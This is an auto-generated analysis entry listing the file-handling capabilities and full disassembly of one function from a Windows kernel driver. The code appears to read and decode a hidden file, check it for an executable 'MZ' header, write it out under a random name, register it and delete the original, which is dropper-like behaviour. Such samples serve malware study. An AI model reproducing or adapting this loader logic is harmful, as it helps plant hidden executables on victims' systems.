Function at 0x10574
Capabilities:
Delete file
Get file attributes
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x664
push ebx
lea eax, [ebp - 0x464]
mov dword [ebp - 0x1c], eax
movzx eax, word [0x12d74]
push esi
mov esi, dword [sym.imp.ntoskrnl.exe_RtlAppendUnicodeToString]
push edi
lea eax, [eax*2 + 0x12b28]
push eax
xor edi, edi
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x10], edi
mov dword [ebp - 8], edi
mov word [ebp - 0x20], di
mov word [ebp - 0x1e], 0x200
call esi
push 0xffdf0030
lea eax, [ebp - 0x20]
push eax
call esi
mov ebx, dword [sym.imp.ntoskrnl.exe_RtlCopyUnicodeString]
lea eax, [ebp - 0x264]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x40]
push eax
mov word [ebp - 0x40], di
mov word [ebp - 0x3e], 0x200
call ebx
movzx eax, word [0x12d76]
lea eax, [eax*2 + 0x12b28]
push eax
lea eax, [ebp - 0x40]
push eax
call esi
lea eax, [ebp - 0x664]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x18]
push eax
mov word [ebp - 0x18], di
mov word [ebp - 0x16], 0x200
call ebx
mov ebx, dword [0xffdf0000]
mov dword [ebp - 4], edi
push 0x17
pop ecx
sub ecx, dword [ebp - 4]
xor edx, edx
mov eax, ecx
shl eax, 4
add eax, ebx
add eax, ecx
push 0x1a
pop ecx
div ecx
mov eax, dword [ebp - 4]
add edx, 0x61
inc dword [ebp - 4]
cmp dword [ebp - 4], 8
mov word [eax*2 + 0x130e0], dx
jl 0x10622
movzx eax, word [0x12d78]
lea eax, [eax*2 + 0x12b28]
push eax
lea eax, [ebp - 0x18]
push eax
mov word [0x130f0], di
call esi
mov ebx, 0x130e0
push ebx
lea eax, [ebp - 0x18]
push eax
call esi
movzx eax, word [0x12d7a]
lea eax, [eax*2 + 0x12b28]
push eax
lea eax, [ebp - 0x18]
push eax
call esi
push 0x18
pop esi
push edi
push edi
push 0x20
push 1
push 7
push 0x80
lea eax, [ebp - 0x40]
mov dword [ebp - 0x30], eax
push edi
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x38]
push eax
push 0x80100000
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x2c], 0x240
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
call dword [sym.imp.ntoskrnl.exe_ZwCreateFile]
test eax, eax
jl 0x108cb
push 5
push esi
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.ntoskrnl.exe_ZwQueryInformationFile]
test eax, eax
jl 0x1072e
mov esi, dword [ebp - 0x5c]
cmp esi, edi
je 0x1072e
push 0x4364624b
push esi
push edi
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
cmp eax, edi
mov dword [ebp - 0x10], eax
je 0x10731
push edi
push edi
push esi
push eax
lea eax, [ebp - 0x48]
push eax
push edi
push edi
push edi
push dword [ebp - 0xc]
call dword [sym.imp.ntoskrnl.exe_ZwReadFile]
test eax, eax
jge 0x10731
push edi
push edi
mov dword [ebp - 0x10], edi
mov dword [ebp - 8], edi
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov esi, dword [ebp - 8]
push dword [ebp - 0xc]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
cmp esi, edi
je 0x108cb
mov ecx, dword [ebp - 0x10]
cmp ecx, edi
je 0x108cb
movzx eax, word [ecx]
sub esi, eax
dec esi
dec esi
mov dword [ebp - 8], esi
lea esi, [eax + ecx + 2]
push eax
add ecx, 2
push ecx
push dword [ebp - 8]
push esi
call fcn.000104c8
cmp word [esi], 0x5a4d
jne 0x108cb
push edi
push edi
push 0x20
push 5
push 7
push 0x80
lea eax, [ebp - 0x18]
mov dword [ebp - 0x30], eax
push edi
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x38]
push eax
push 0x10100000
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 0x38], 0x18
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x2c], 0x240
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
call dword [sym.imp.ntoskrnl.exe_ZwCreateFile]
cmp eax, edi
mov dword [ebp - 4], eax
jl 0x107df
push edi
push edi
push dword [ebp - 8]
lea eax, [ebp - 0x48]
push esi
push eax
push edi
push edi
push edi
push dword [ebp - 0xc]
call dword [sym.imp.ntoskrnl.exe_ZwWriteFile]
push dword [ebp - 0xc]
mov dword [ebp - 4], eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
push edi
push dword [ebp - 0x10]
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
cmp dword [ebp - 4], edi
jge 0x107f5
push 3
jmp 0x108cd
push ebx
push 1
call dword [0x13100]
cmp eax, edi
push 4
mov dword [ebp - 4], eax
pop esi
jl 0x1089d
push esi
lea eax, [ebp - 8]
push eax
movzx eax, word [0x12d7c]
push esi
lea eax, [eax*2 + 0x12b28]
push eax
push ebx
push 1
mov dword [ebp - 8], edi
mov dword [ebp - 0x10], 2
call dword [0x13104]
push esi
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x10]
push eax
movzx eax, word [0x12d7e]
push esi
lea eax, [eax*2 + 0x12b28]
push eax
push ebx
push 1
call dword [0x13104]
mov ecx, dword [ebp - 0x4c]
cmp ecx, edi
jl 0x10865
cmp eax, edi
jge 0x10898
mov dword [ebp - 4], eax
jmp 0x10868
mov dword [ebp - 4], ecx
movzx eax, word [0x12d7c]
lea eax, [eax*2 + 0x12b28]
push eax
push ebx
push 1
call dword [0x13108]
movzx eax, word [0x12d7e]
lea eax, [eax*2 + 0x12b28]
push eax
push ebx
push 1
call dword [0x13108]
cmp dword [ebp - 4], edi
jge 0x108a1
mov eax, esi
jmp 0x108ce
lea eax, [ebp - 0x40]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x38], 0x18
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x2c], 0x240
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
call sub.ntoskrnl.exe_ZwDeleteFile
xor eax, eax
jmp 0x108ce
push 2
pop eax
pop edi
pop esi
pop ebx
leave
ret